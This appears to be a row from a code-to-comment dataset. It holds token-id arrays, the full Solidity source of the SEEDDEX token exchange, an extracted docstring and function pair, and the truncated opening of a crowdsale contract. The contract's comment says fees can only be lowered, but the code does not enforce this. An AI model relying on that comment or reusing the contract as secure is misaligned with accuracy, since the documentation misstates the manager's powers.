0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
866,
5582,
2996,
12,
2867,
389,
2867,
16,
1731,
1578,
389,
4615,
13,
2713,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
12508,
301,
1434,
5664,
18,
14521,
301,
1434,
3245,
2502,
3780,
273,
12508,
301,
1434,
5664,
18,
3211,
301,
1434,
3245,
5621,
203,
3639,
327,
3780,
18,
3860,
2933,
18,
5332,
2996,
24899,
4615,
16,
389,
2867,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.25;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
// Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @dev Library to perform safe calls to standard method for ERC20 tokens.
*
* Why Transfers: transfer methods could have a return value (bool), throw or revert for insufficient funds or
* unathorized value.
*
* Why Approve: approve method could has a return value (bool) or does not accept 0 as a valid value (BNB token).
* The common strategy used to clean approvals.
*
* We use the Solidity call instead of interface methods because in the case of transfer, it will fail
* for tokens with an implementation without returning a value.
* Since versions of Solidity 0.4.22 the EVM has a new opcode, called RETURNDATASIZE.
* This opcode stores the size of the returned data of an external call. The code checks the size of the return value
* after an external call and reverts the transaction in case the return data is shorter than expected
*/
library SafeERC20 {
using SafeMath for uint256;
/**
* @dev Transfer token for a specified address
* @param _token erc20 The address of the ERC20 contract
* @param _to address The address which you want to transfer to
* @param _value uint256 the _value of tokens to be transferred
* @return bool whether the transfer was successful or not
*/
function safeTransfer(IERC20 _token, address _to, uint256 _value) internal returns (bool) {
uint256 prevBalance = _token.balanceOf(address(this));
if (prevBalance < _value) {
// Insufficient funds
return false;
}
address(_token).call(
abi.encodeWithSignature("transfer(address,uint256)", _to, _value)
);
if (prevBalance.sub(_value) != _token.balanceOf(address(this))) {
// Transfer failed
return false;
}
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _token erc20 The address of the ERC20 contract
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the _value of tokens to be transferred
* @return bool whether the transfer was successful or not
*/
function safeTransferFrom(
IERC20 _token,
address _from,
address _to,
uint256 _value
) internal returns (bool)
{
uint256 prevBalance = _token.balanceOf(_from);
if (prevBalance < _value) {
// Insufficient funds
return false;
}
if (_token.allowance(_from, address(this)) < _value) {
// Insufficient allowance
return false;
}
address(_token).call(
abi.encodeWithSignature("transferFrom(address,address,uint256)", _from, _to, _value)
);
if (prevBalance.sub(_value) != _token.balanceOf(_from)) {
// Transfer failed
return false;
}
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* @param _token erc20 The address of the ERC20 contract
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
* @return bool whether the approve was successful or not
*/
function safeApprove(IERC20 _token, address _spender, uint256 _value) internal returns (bool) {
address(_token).call(
abi.encodeWithSignature("approve(address,uint256)", _spender, _value)
);
if (_token.allowance(address(this), _spender) != _value) {
// Approve failed
return false;
}
return true;
}
}
/**
* @title SEEDDEX
* @dev This is the main contract for the SEEDDEX exchange.
*/
contract SEEDDEX {
using SafeERC20 for IERC20;
/// Variables
address public admin; // the admin address
address constant public FicAddress = 0x0DD83B5013b2ad7094b1A7783d96ae0168f82621; // FloraFIC token address
address public manager; // the manager address
address public feeAccount; // the account that will receive fees
uint public feeTakeMaker; // For Maker fee x% *10^18
uint public feeTakeSender; // For Sender fee x% *10^18
uint public feeTakeMakerFic;
uint public feeTakeSenderFic;
bool private depositingTokenFlag; // True when Token.safeTransferFrom is being called from depositToken
mapping(address => mapping(address => uint)) public tokens; // mapping of token addresses to mapping of account balances (token=0 means Ether)
mapping(address => mapping(bytes32 => bool)) public orders; // mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature)
mapping(address => mapping(bytes32 => uint)) public orderFills; // mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
address public predecessor; // Address of the previous version of this contract. If address(0), this is the first version
address public successor; // Address of the next version of this contract. If address(0), this is the most up to date version.
uint16 public version; // This is the version # of the contract
/// Logging Events
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address indexed user, bytes32 hash, uint amount);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address indexed user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give, uint256 timestamp);
event Deposit(address token, address indexed user, uint amount, uint balance);
event Withdraw(address token, address indexed user, uint amount, uint balance);
event FundsMigrated(address indexed user, address newContract);
/// This is a modifier for functions to check if the sending user address is the same as the admin user address.
modifier isAdmin() {
require(msg.sender == admin);
_;
}
/// this is manager can only change feeTakeMaker feeTakeMaker and change manager address (accept only Ethereum address)
modifier isManager() {
require(msg.sender == manager || msg.sender == admin);
_;
}
/// Constructor function. This is only called on contract creation.
function SEEDDEX(address admin_, address manager_, address feeAccount_, uint feeTakeMaker_, uint feeTakeSender_, uint feeTakeMakerFic_, uint feeTakeSenderFic_, address predecessor_) public {
admin = admin_;
manager = manager_;
feeAccount = feeAccount_;
feeTakeMaker = feeTakeMaker_;
feeTakeSender = feeTakeSender_;
feeTakeMakerFic = feeTakeMakerFic_;
feeTakeSenderFic = feeTakeSenderFic_;
depositingTokenFlag = false;
predecessor = predecessor_;
if (predecessor != address(0)) {
version = SEEDDEX(predecessor).version() + 1;
} else {
version = 1;
}
}
/// The fallback function. Ether transfered into the contract is not accepted.
function() public {
revert();
}
/// Changes the official admin user address. Accepts Ethereum address.
function changeAdmin(address admin_) public isAdmin {
require(admin_ != address(0));
admin = admin_;
}
/// Changes the manager user address. Accepts Ethereum address.
function changeManager(address manager_) public isManager {
require(manager_ != address(0));
manager = manager_;
}
/// Changes the account address that receives trading fees. Accepts Ethereum address.
function changeFeeAccount(address feeAccount_) public isAdmin {
feeAccount = feeAccount_;
}
/// Changes the fee on takes. Can only be changed to a value less than it is currently set at.
function changeFeeTakeMaker(uint feeTakeMaker_) public isManager {
feeTakeMaker = feeTakeMaker_;
}
function changeFeeTakeSender(uint feeTakeSender_) public isManager {
feeTakeSender = feeTakeSender_;
}
function changeFeeTakeMakerFic(uint feeTakeMakerFic_) public isManager {
feeTakeMakerFic = feeTakeMakerFic_;
}
function changeFeeTakeSenderFic(uint feeTakeSenderFic_) public isManager {
feeTakeSenderFic = feeTakeSenderFic_;
}
/// Changes the successor. Used in updating the contract.
function setSuccessor(address successor_) public isAdmin {
require(successor_ != address(0));
successor = successor_;
}
////////////////////////////////////////////////////////////////////////////////
// Deposits, Withdrawals, Balances
////////////////////////////////////////////////////////////////////////////////
/**
* This function handles deposits of Ether into the contract.
* Emits a Deposit event.
* Note: With the payable modifier, this function accepts Ether.
*/
function deposit() public payable {
tokens[0][msg.sender] = SafeMath.add(tokens[0][msg.sender], msg.value);
Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
/**
* This function handles withdrawals of Ether from the contract.
* Verifies that the user has enough funds to cover the withdrawal.
* Emits a Withdraw event.
* @param amount uint of the amount of Ether the user wishes to withdraw
*/
function withdraw(uint amount) {
if (tokens[0][msg.sender] < amount) throw;
tokens[0][msg.sender] = SafeMath.sub(tokens[0][msg.sender], amount);
if (!msg.sender.call.value(amount)()) throw;
Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
/**
* This function handles deposits of Ethereum based tokens to the contract.
* Does not allow Ether.
* If token transfer fails, transaction is reverted and remaining gas is refunded.
* Emits a Deposit event.
* Note: Remember to call IERC20(address).safeApprove(this, amount) or this contract will not be able to do the transfer on your behalf.
* @param token Ethereum contract address of the token or 0 for Ether
* @param amount uint of the amount of the token the user wishes to deposit
*/
function depositToken(address token, uint amount) {
//remember to call IERC20(address).safeApprove(this, amount) or this contract will not be able to do the transfer on your behalf.
if (token == 0) throw;
if (!IERC20(token).safeTransferFrom(msg.sender, this, amount)) throw;
tokens[token][msg.sender] = SafeMath.add(tokens[token][msg.sender], amount);
Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
/**
* This function provides a fallback solution as outlined in ERC223.
* If tokens are deposited through depositToken(), the transaction will continue.
* If tokens are sent directly to this contract, the transaction is reverted.
* @param sender Ethereum address of the sender of the token
* @param amount amount of the incoming tokens
* @param data attached data similar to msg.data of Ether transactions
*/
function tokenFallback(address sender, uint amount, bytes data) public returns (bool ok) {
if (depositingTokenFlag) {
// Transfer was initiated from depositToken(). User token balance will be updated there.
return true;
} else {
// Direct ECR223 Token.safeTransfer into this contract not allowed, to keep it consistent
// with direct transfers of ECR20 and ETH.
revert();
}
}
/**
* This function handles withdrawals of Ethereum based tokens from the contract.
* Does not allow Ether.
* If token transfer fails, transaction is reverted and remaining gas is refunded.
* Emits a Withdraw event.
* @param token Ethereum contract address of the token or 0 for Ether
* @param amount uint of the amount of the token the user wishes to withdraw
*/
function withdrawToken(address token, uint amount) {
if (token == 0) throw;
if (tokens[token][msg.sender] < amount) throw;
tokens[token][msg.sender] = SafeMath.sub(tokens[token][msg.sender], amount);
if (!IERC20(token).safeTransfer(msg.sender, amount)) throw;
Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
/**
* Retrieves the balance of a token based on a user address and token address.
* @param token Ethereum contract address of the token or 0 for Ether
* @param user Ethereum address of the user
* @return the amount of tokens on the exchange for a given user address
*/
function balanceOf(address token, address user) public constant returns (uint) {
return tokens[token][user];
}
////////////////////////////////////////////////////////////////////////////////
// Trading
////////////////////////////////////////////////////////////////////////////////
/**
* Stores the active order inside of the contract.
* Emits an Order event.
*
*
* Note: tokenGet & tokenGive can be the Ethereum contract address.
* @param tokenGet Ethereum contract address of the token to receive
* @param amountGet uint amount of tokens being received
* @param tokenGive Ethereum contract address of the token to give
* @param amountGive uint amount of tokens being given
* @param expires uint of block number when this order should expire
* @param nonce arbitrary random number
*/
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) public {
bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
uint amount;
orders[msg.sender][hash] = true;
Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, hash, amount);
}
/**
* Facilitates a trade from one user to another.
* Requires that the transaction is signed properly, the trade isn't past its expiration, and all funds are present to fill the trade.
* Calls tradeBalances().
* Updates orderFills with the amount traded.
* Emits a Trade event.
* Note: tokenGet & tokenGive can be the Ethereum contract address.
* Note: amount is in amountGet / tokenGet terms.
* @param tokenGet Ethereum contract address of the token to receive
* @param amountGet uint amount of tokens being received
* @param tokenGive Ethereum contract address of the token to give
* @param amountGive uint amount of tokens being given
* @param expires uint of block number when this order should expire
* @param nonce arbitrary random number
* @param user Ethereum address of the user who placed the order
* @param v part of signature for the order hash as signed by user
* @param r part of signature for the order hash as signed by user
* @param s part of signature for the order hash as signed by user
* @param amount uint amount in terms of tokenGet that will be "buy" in the trade
*/
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) public {
bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
require((
(orders[user][hash] || ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) == user) &&
block.number <= expires &&
SafeMath.add(orderFills[user][hash], amount) <= amountGet
));
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = SafeMath.add(orderFills[user][hash], amount);
Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender, now);
}
/**
* This is a private function and is only being called from trade().
* Handles the movement of funds when a trade occurs.
* Takes fees.
* Updates token balances for both buyer and seller.
* Note: tokenGet & tokenGive can be the Ethereum contract address.
* Note: amount is in amountGet / tokenGet terms.
* @param tokenGet Ethereum contract address of the token to receive
* @param amountGet uint amount of tokens being received
* @param tokenGive Ethereum contract address of the token to give
* @param amountGive uint amount of tokens being given
* @param user Ethereum address of the user who placed the order
* @param amount uint amount in terms of tokenGet that will be "buy" in the trade
*/
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
if (tokenGet == FicAddress || tokenGive == FicAddress) {
tokens[tokenGet][msg.sender] = SafeMath.sub(tokens[tokenGet][msg.sender], amount);
tokens[tokenGet][user] = SafeMath.add(tokens[tokenGet][user], SafeMath.mul(amount, ((1 ether) - feeTakeMakerFic)) / (1 ether));
tokens[tokenGet][feeAccount] = SafeMath.add(tokens[tokenGet][feeAccount], SafeMath.mul(amount, feeTakeMakerFic) / (1 ether));
tokens[tokenGive][user] = SafeMath.sub(tokens[tokenGive][user], SafeMath.mul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = SafeMath.add(tokens[tokenGive][msg.sender], SafeMath.mul(SafeMath.mul(((1 ether) - feeTakeSenderFic), amountGive), amount) / amountGet / (1 ether));
tokens[tokenGive][feeAccount] = SafeMath.add(tokens[tokenGive][feeAccount], SafeMath.mul(SafeMath.mul(feeTakeSenderFic, amountGive), amount) / amountGet / (1 ether));
}
else {
tokens[tokenGet][msg.sender] = SafeMath.sub(tokens[tokenGet][msg.sender], amount);
tokens[tokenGet][user] = SafeMath.add(tokens[tokenGet][user], SafeMath.mul(amount, ((1 ether) - feeTakeMaker)) / (1 ether));
tokens[tokenGet][feeAccount] = SafeMath.add(tokens[tokenGet][feeAccount], SafeMath.mul(amount, feeTakeMaker) / (1 ether));
tokens[tokenGive][user] = SafeMath.sub(tokens[tokenGive][user], SafeMath.mul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = SafeMath.add(tokens[tokenGive][msg.sender], SafeMath.mul(SafeMath.mul(((1 ether) - feeTakeSender), amountGive), amount) / amountGet / (1 ether));
tokens[tokenGive][feeAccount] = SafeMath.add(tokens[tokenGive][feeAccount], SafeMath.mul(SafeMath.mul(feeTakeSender, amountGive), amount) / amountGet / (1 ether));
}
}
/**
* This function is to test if a trade would go through.
* Note: tokenGet & tokenGive can be the Ethereum contract address.
* Note: amount is in amountGet / tokenGet terms.
* @param tokenGet Ethereum contract address of the token to receive
* @param amountGet uint amount of tokens being received
* @param tokenGive Ethereum contract address of the token to give
* @param amountGive uint amount of tokens being given
* @param expires uint of block number when this order should expire
* @param nonce arbitrary random number
* @param user Ethereum address of the user who placed the order
* @param v part of signature for the order hash as signed by user
* @param r part of signature for the order hash as signed by user
* @param s part of signature for the order hash as signed by user
* @param amount uint amount in terms of tokenGet that will be "buy" in the trade
* @param sender Ethereum address of the user taking the order
* @return bool: true if the trade would be successful, false otherwise
*/
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) public constant returns (bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) {
return false;
} else {
return true;
}
}
/**
* This function checks the available volume for a given order.
* Note: tokenGet & tokenGive can be the Ethereum contract address.
* @param tokenGet Ethereum contract address of the token to receive
* @param amountGet uint amount of tokens being received
* @param tokenGive Ethereum contract address of the token to give
* @param amountGive uint amount of tokens being given
* @param expires uint of block number when this order should expire
* @param nonce arbitrary random number
* @param user Ethereum address of the user who placed the order
* @param v part of signature for the order hash as signed by user
* @param r part of signature for the order hash as signed by user
* @param s part of signature for the order hash as signed by user
* @return uint: amount of volume available for the given order in terms of amountGet / tokenGet
*/
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) public constant returns (uint) {
bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) == user) &&
block.number <= expires
)) {
return 0;
}
uint[2] memory available;
available[0] = SafeMath.sub(amountGet, orderFills[user][hash]);
available[1] = SafeMath.mul(tokens[tokenGive][user], amountGet) / amountGive;
if (available[0] < available[1]) {
return available[0];
} else {
return available[1];
}
}
/**
* This function checks the amount of an order that has already been filled.
* Note: tokenGet & tokenGive can be the Ethereum contract address.
* @param tokenGet Ethereum contract address of the token to receive
* @param amountGet uint amount of tokens being received
* @param tokenGive Ethereum contract address of the token to give
* @param amountGive uint amount of tokens being given
* @param expires uint of block number when this order should expire
* @param nonce arbitrary random number
* @param user Ethereum address of the user who placed the order
* @param v part of signature for the order hash as signed by user
* @param r part of signature for the order hash as signed by user
* @param s part of signature for the order hash as signed by user
* @return uint: amount of the given order that has already been filled in terms of amountGet / tokenGet
*/
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) public constant returns (uint) {
bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
return orderFills[user][hash];
}
/**
* This function cancels a given order by editing its fill data to the full amount.
* Requires that the transaction is signed properly.
* Updates orderFills to the full amountGet
* Emits a Cancel event.
* Note: tokenGet & tokenGive can be the Ethereum contract address.
* @param tokenGet Ethereum contract address of the token to receive
* @param amountGet uint amount of tokens being received
* @param tokenGive Ethereum contract address of the token to give
* @param amountGive uint amount of tokens being given
* @param expires uint of block number when this order should expire
* @param nonce arbitrary random number
* @param v part of signature for the order hash as signed by user
* @param r part of signature for the order hash as signed by user
* @param s part of signature for the order hash as signed by user
* @return uint: amount of the given order that has already been filled in terms of amountGet / tokenGet
*/
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) public {
bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
require((orders[msg.sender][hash] || ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) == msg.sender));
orderFills[msg.sender][hash] = amountGet;
Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
////////////////////////////////////////////////////////////////////////////////
// Contract Versioning / Migration
////////////////////////////////////////////////////////////////////////////////
/**
* User triggered function to migrate funds into a new contract to ease updates.
* Emits a FundsMigrated event.
* @param newContract Contract address of the new contract we are migrating funds to
* @param tokens_ Array of token addresses that we will be migrating to the new contract
*/
function migrateFunds(address newContract, address[] tokens_) public {
require(newContract != address(0));
SEEDDEX newExchange = SEEDDEX(newContract);
// Move Ether into new exchange.
uint etherAmount = tokens[0][msg.sender];
if (etherAmount > 0) {
tokens[0][msg.sender] = 0;
newExchange.depositForUser.value(etherAmount)(msg.sender);
}
// Move Tokens into new exchange.
for (uint16 n = 0; n < tokens_.length; n++) {
address token = tokens_[n];
require(token != address(0));
// Ether is handled above.
uint tokenAmount = tokens[token][msg.sender];
if (tokenAmount != 0) {
if (!IERC20(token).safeApprove(newExchange, tokenAmount)) throw;
tokens[token][msg.sender] = 0;
newExchange.depositTokenForUser(token, tokenAmount, msg.sender);
}
}
FundsMigrated(msg.sender, newContract);
}
/**
* This function handles deposits of Ether into the contract, but allows specification of a user.
* Note: This is generally used in migration of funds.
* Note: With the payable modifier, this function accepts Ether.
*/
function depositForUser(address user) public payable {
require(user != address(0));
require(msg.value > 0);
tokens[0][user] = SafeMath.add(tokens[0][user], (msg.value));
}
/**
* This function handles deposits of Ethereum based tokens into the contract, but allows specification of a user.
* Does not allow Ether.
* If token transfer fails, transaction is reverted and remaining gas is refunded.
* Note: This is generally used in migration of funds.
* Note: Remember to call Token(address).safeApprove(this, amount) or this contract will not be able to do the transfer on your behalf.
* @param token Ethereum contract address of the token
* @param amount uint of the amount of the token the user wishes to deposit
*/
function depositTokenForUser(address token, uint amount, address user) public {
require(token != address(0));
require(user != address(0));
require(amount > 0);
depositingTokenFlag = true;
if (!IERC20(token).safeTransferFrom(msg.sender, this, amount)) throw;
depositingTokenFlag = false;
tokens[token][user] = SafeMath.add(tokens[token][user], (amount));
}
} | * This function checks the amount of an order that has already been filled. Note: tokenGet & tokenGive can be the Ethereum contract address. @param tokenGet Ethereum contract address of the token to receive @param amountGet uint amount of tokens being received @param tokenGive Ethereum contract address of the token to give @param amountGive uint amount of tokens being given @param expires uint of block number when this order should expire @param nonce arbitrary random number @param user Ethereum address of the user who placed the order @param v part of signature for the order hash as signed by user @param r part of signature for the order hash as signed by user @param s part of signature for the order hash as signed by user @return uint: amount of the given order that has already been filled in terms of amountGet / tokenGet/ | function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) public constant returns (uint) {
bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
return orderFills[user][hash];
}
| 13,035,715 | [
1,
2503,
445,
4271,
326,
3844,
434,
392,
1353,
716,
711,
1818,
2118,
6300,
18,
3609,
30,
1147,
967,
473,
1147,
43,
688,
848,
506,
326,
512,
18664,
379,
6835,
1758,
18,
225,
1147,
967,
512,
18664,
379,
6835,
1758,
434,
326,
1147,
358,
6798,
225,
3844,
967,
2254,
3844,
434,
2430,
3832,
5079,
225,
1147,
43,
688,
512,
18664,
379,
6835,
1758,
434,
326,
1147,
358,
8492,
225,
3844,
43,
688,
2254,
3844,
434,
2430,
3832,
864,
225,
7368,
2254,
434,
1203,
1300,
1347,
333,
1353,
1410,
6930,
225,
7448,
11078,
2744,
1300,
225,
729,
512,
18664,
379,
1758,
434,
326,
729,
10354,
15235,
326,
1353,
225,
331,
1087,
434,
3372,
364,
326,
1353,
1651,
487,
6726,
635,
729,
225,
436,
1087,
434,
3372,
364,
326,
1353,
1651,
487,
6726,
635,
729,
225,
272,
1087,
434,
3372,
364,
326,
1353,
1651,
487,
6726,
635,
729,
327,
2254,
30,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
565,
445,
3844,
29754,
12,
2867,
1147,
967,
16,
2254,
3844,
967,
16,
1758,
1147,
43,
688,
16,
2254,
3844,
43,
688,
16,
2254,
7368,
16,
2254,
7448,
16,
1758,
729,
16,
2254,
28,
331,
16,
1731,
1578,
436,
16,
1731,
1578,
272,
13,
1071,
5381,
1135,
261,
11890,
13,
288,
203,
3639,
1731,
1578,
1651,
273,
417,
24410,
581,
5034,
12,
2211,
16,
1147,
967,
16,
3844,
967,
16,
1147,
43,
688,
16,
3844,
43,
688,
16,
7368,
16,
7448,
1769,
203,
3639,
327,
1353,
28688,
63,
1355,
6362,
2816,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.6.0;
import "../validation/TimedCrowdsale.sol";
import "../../vendor/v0.6/SafeMath.sol";
/**
* @title IncreasingPriceCrowdsale
* @dev Extension of Crowdsale contract that increases the price of tokens linearly in time.
* Note that what should be provided to the constructor is the initial and final _rates_, that is,
* the amount of tokens per wei contributed. Thus, the initial rate must be greater than the final rate.
*/
contract IncreasingPriceCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
uint256 private _initialRate;
uint256 private _finalRate;
/**
* @dev Constructor, takes initial and final rates of tokens received per wei contributed.
